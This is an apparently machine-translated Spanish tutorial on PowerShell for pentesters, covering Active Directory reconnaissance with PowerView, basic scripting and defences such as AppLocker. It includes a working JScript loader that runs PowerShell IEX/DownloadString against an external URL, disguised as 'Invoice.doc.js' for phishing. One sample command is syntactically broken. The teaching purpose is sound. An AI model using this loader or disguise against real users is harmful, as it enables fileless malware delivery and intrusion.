A los piratas informáticos les gusta usar PowerShell para ejecutar "malware sin archivos", malware incorporal que no es binario tradicional con código malicioso compilado, y por esta razón a veces no puede ser detectado por las soluciones antivirus.
PowerShell, por supuesto, siempre tuvo un propósito completamente normal, que al principio no tenía nada que ver con las pruebas de penetración. Aquellos de ustedes que quieran conocer los antecedentes de PowerShell deben leer el famoso
Manifiesto Monad . Escrito por uno de los desarrolladores originales, este manifiesto explica por qué Microsoft necesitaba un nuevo lenguaje de secuencias de comandos (en otras palabras, secuencias de comandos), que finalmente se convirtió en PowerShell.
Para ahorrarle la molestia de ver un documento extenso de 17 páginas, le revelaré el principal factor motivador que motivó a los autores de PowerShell: se suponía que debía dar a los administradores del sistema acceso a objetos .Net desde la línea de comandos, lo que permite la automatización del flujo de trabajo a nivel del sistema, en lugar de en el nivel de programación profunda en C # o C ++.
Si desea evidencia real de la efectividad de PowerShell (en adelante, PS), pregunte a los administradores de su sistema cómo agregan masivamente usuarios a Active Directory o realizan configuraciones de seguridad rápidas. Lo más probable es que aprenda sobre las
soluciones de PowerShell . En resumen: PS es una excelente manera de reducir la rutina y aumentar la productividad de los administradores.
¿Por qué usar PowerShell para pentests?
Desafortunadamente, lo que es tan adecuado como una poderosa herramienta de automatización para administradores es en última instancia útil tanto para hackers como para probadores de penetración.
Supongamos que un administrador de TI tiene la tarea de averiguar quién usa realmente un servidor con poca carga. Utilizando PowerShell y la biblioteca
PowerView de funciones avanzadas, el administrador del sistema puede ver rápidamente a los usuarios que han iniciado sesión en el servidor
, sin tener que iniciar sesión en este servidor:
Sin embargo, los cibercriminales que previamente obtuvieron acceso a través de un ataque de phishing también pueden hacer lo mismo, ya que pueden usar las mismas funciones mientras están en un dominio de Active Directory (en lo sucesivo denominado AD). Y sus actividades no se detectarán necesariamente: un analista de seguridad de la información que supervisa el uso de las aplicaciones puede concluir que, dado
que es solo PowerShell, debe ser inofensivo .
Para exacerbar aún más este ejemplo, los piratas informáticos pueden incluso obtener toda la información detallada sobre usuarios individuales utilizando el comando Get-NetUser, que volcará todos los atributos del usuario en AD:
Desafortunadamente, las empresas a veces descuidan los atributos de AD que hacen públicos para todos los empleados, por ejemplo, domicilio o teléfono móvil, dirección, etc. Antes de PowerShell, era mucho más difícil recopilar todos estos datos de AD, ¡pero ese no es el caso!
¿Qué pueden hacer los atacantes con esta información? Pueden aprovechar fácilmente
los métodos de
ingeniería social y desarrollar un ataque para esto: quizás enviando
Un correo electrónico con suficiente contexto personal derivado de los atributos de AD para que parezca una solicitud de soporte legítima pidiéndole que "restablezca su contraseña".
Por cierto, también puede aplicar el control de ACL a los atributos de AD, por lo que hay una manera (!) De reducir el riesgo de ataques de este tipo. Y este es uno de esos resultados positivos que puede obtener de su propia experiencia en pruebas de penetración.
Tutorial de PowerShell Pentester
Usando PowerShell, los atacantes pueden recolectar discretamente datos internos del usuario y luego usarlos en sus ataques. Pero no hay ninguna razón por la cual el personal de seguridad informática o de información no pueda aprender PowerShell lo suficiente como para comenzar sus propias pruebas y aprender a comprender la mentalidad y los motivos del pirata informático.
Lo mejor de PowerShell es que todos los scripts y archivos bat antiguos que ejecutó desde la línea de comandos cmd.exe aún funcionan en la consola de PowerShell. Ya no está mal, ¿verdad?
El siguiente punto importante es que, a diferencia de los shells similares a Linux, PowerShell trata todo como
un objeto . Incluso la salida de un comando (solo pensar) también es un objeto.
Por ejemplo, ingrese el comando
Get-ChildItem (o el cmdlet de una manera diferente, como se llama a los comandos en el mundo PS) en la consola, y verá una lista de archivos en el directorio actual:
Codificación de PowerShell
Suponga que desea escribir un script PS en el que solo se muestran archivos de
más de 10 MB , por ejemplo, para verificar rápidamente qué archivos ocupan mucho espacio. Esta tarea será mucho más difícil de resolver en la salida de cadena de, por ejemplo, el shell bash. Sin embargo, en PowerShell, el resultado de cualquier comando es en sí mismo un objeto con un conjunto de
atributos .
Para ver esto, simplemente pase la salida GetChildItem a
Get-Member , que le indicará los atributos del cmdlet PS:
Entonces, ahora tenemos identificadores para dos atributos que nos interesan: la longitud "longitud" y el nombre "nombre", a los que podemos referirnos programáticamente. 5 minutos - vuelo normal.
Para hacer frente a la situación frecuente cuando los objetos a veces se encuentran en matrices o colecciones, utilizaremos el operador
ForEach PS para iterar sobre la matriz.
Para facilitar aún más las cosas, un alias o alias "%" significa "ForEach" y "$ _" representa el objeto actual.
Ejecución de comandos con PowerShell
Obtengamos nuestras dos columnas de salida del comando GetChildItem en función de nuestro nuevo conocimiento. El siguiente ejemplo es una canalización con Get-ChildItem que alimenta la instrucción ForEach, que solo muestra los valores de los atributos "length" y "name":
get-childitem | % {write-host $_.length $_.name -separator "`t`t"}
Y aquí está el resultado de ejecutar los comandos:
Para finalizar nuestro magnífico ejemplo, modifiquemos nuestro script para que solo genere archivos grandes, digamos, más de 10 MB. Para hacer esto, usamos un filtro conocido como
cmdlet Where-Object con el conveniente alias "?". Tiene todos los operadores de comparación habituales (-gt, -eq, -lt, etc.). Lo insertamos en el medio de la tubería y el nuestro el script ahora se ve así:
get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t`t"}
Como ejercicio, intente ejecutar la creación de PS anterior en su propio entorno.
Tutorial: Ejemplo de prueba de penetración de PowerShell
Con esta pequeña experiencia con PowerShell, estamos listos para asumir un ejemplo pentest de la vida real. Una de las formas más rápidas de entrar en un pentest es usar PowerShell para ocultar la carga útil. Escribimos sobre cómo
hacerlo aquí .
La idea es ocultar nuestro código de PowerShell en un documento de oficina estándar con el sufijo .doc. De hecho, el archivo tendrá la extensión .js, y cuando se haga clic en él, se activará el
lanzamiento de un script de Windows para ejecutar JavaScript, que luego lanzará el código incorporado de PowerShell.
Un poco confuso, ¿verdad? Pero los piratas informáticos reales usan no uno, sino varios niveles de anidación y ofuscación para ocultar y confundir su ataque tanto como sea posible.
Cargador de arranque y preparación de carga útil
Así es como se ve el guión:
a=new ActiveXObject('Wscript.Shell');a.Run("powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1,true);
Pegue el código anterior en un archivo de texto y
cámbiele el nombre a
Invoice.doc.js . El JavaScript anterior actúa como un cargador que se ejecuta utilizando los cmdlets
integrados PowerShell
NetWebClient e
Invoke-Expression , que son alias con "%".
El método
DownloadString del cmdlet NetWebClient extrae de forma remota la carga útil real, que finalmente hace todo el trabajo sucio por nosotros.
Puede insertar su propia URL apuntando a su propio programa de prueba. Bueno, el cmdlet Invoke-Expression acepta el código de nuestro archivo malicioso y luego lo ejecuta.
¡Compruébalo!
En mi caso, la URL apunta a un proyecto de Github que contiene un simple comando PS Write-Host que mostrará un mensaje inofensivo pero importante para toda la humanidad. En un ataque real, un archivo de tal situación podría adjuntarse a una lista de correo de phishing, lo que atraería a un empleado desprevenido a una trampa de curiosidad. Y la carga útil será mucho más destructiva.
Puede probar esto en su propia instalación. Y si todo lo anterior funciona correctamente, entonces tiene una tarea más urgente e importante, que debe hacerse sin falta.
Beneficios de las pruebas de penetración
Esto nos lleva a las razones por las que hacemos pruebas de penetración. Aquí hay tres beneficios reales que vienen a la mente primero:
- Al explorar los equipos de PowerShell como pentester, comprenderá cómo los piratas informáticos "descifran" este maravilloso lenguaje de secuencias de comandos de próxima generación. Solo considere la combinación de los métodos DownloadString e Invoke-Expression, que permiten a los atacantes extraer código malicioso remoto al sitio de la víctima sin la necesidad de guardarlo en el medio.
- Este ejercicio también enfatiza el secreto de un hacker moderno. Mostré en el ejemplo anterior un esquema de ataque que no deja ningún archivo. Por lo tanto, no puede utilizar métodos estándar basados en firmas para detectar de manera confiable un ataque realizado con PowerShell. A decir verdad, no tenemos la firma del malware en sí para comparar.
- Es probable que comience a explorar formas de restringir PowerShell y otros métodos basados en scripts. Al final, el ataque comienza con una secuencia de comandos, por lo que si las empresas dificultan la ejecución de las secuencias de comandos, pueden reducir significativamente su perfil de riesgo.
Déjame detallar el último punto. Lo más probable es que no desee prohibir completamente PowerShell (o JavaScript), ya que esta es una parte fundamental del software del sistema de Windows. Afortunadamente, Microsoft tiene una forma de deshabilitar selectivamente los scripts (y otros ejecutables) a través de
AppLocker , una versión mejorada de las antiguas Políticas de restricción de software en las Políticas de grupo (GPO) modernas.
Esto puede parecer increíble para los técnicos, pero la mayoría de los usuarios comunes no necesitan PowerShell u otros lenguajes de secuencias de comandos para hacer su trabajo diario. Esto, por supuesto, es impactante, lo sé. AppLocker, por ejemplo, se puede configurar para deshabilitar el acceso de PowerShell para las masas, al tiempo que permite que los administradores del sistema sigan trabajando duro.
Los ataques basados en secuencias de comandos, incluidos los relacionados con los archivos adjuntos de correo electrónico, dependen de los administradores para proporcionar a los empleados permisos de secuencia de comandos demasiado amplios. ¡Y esto no debería ser así!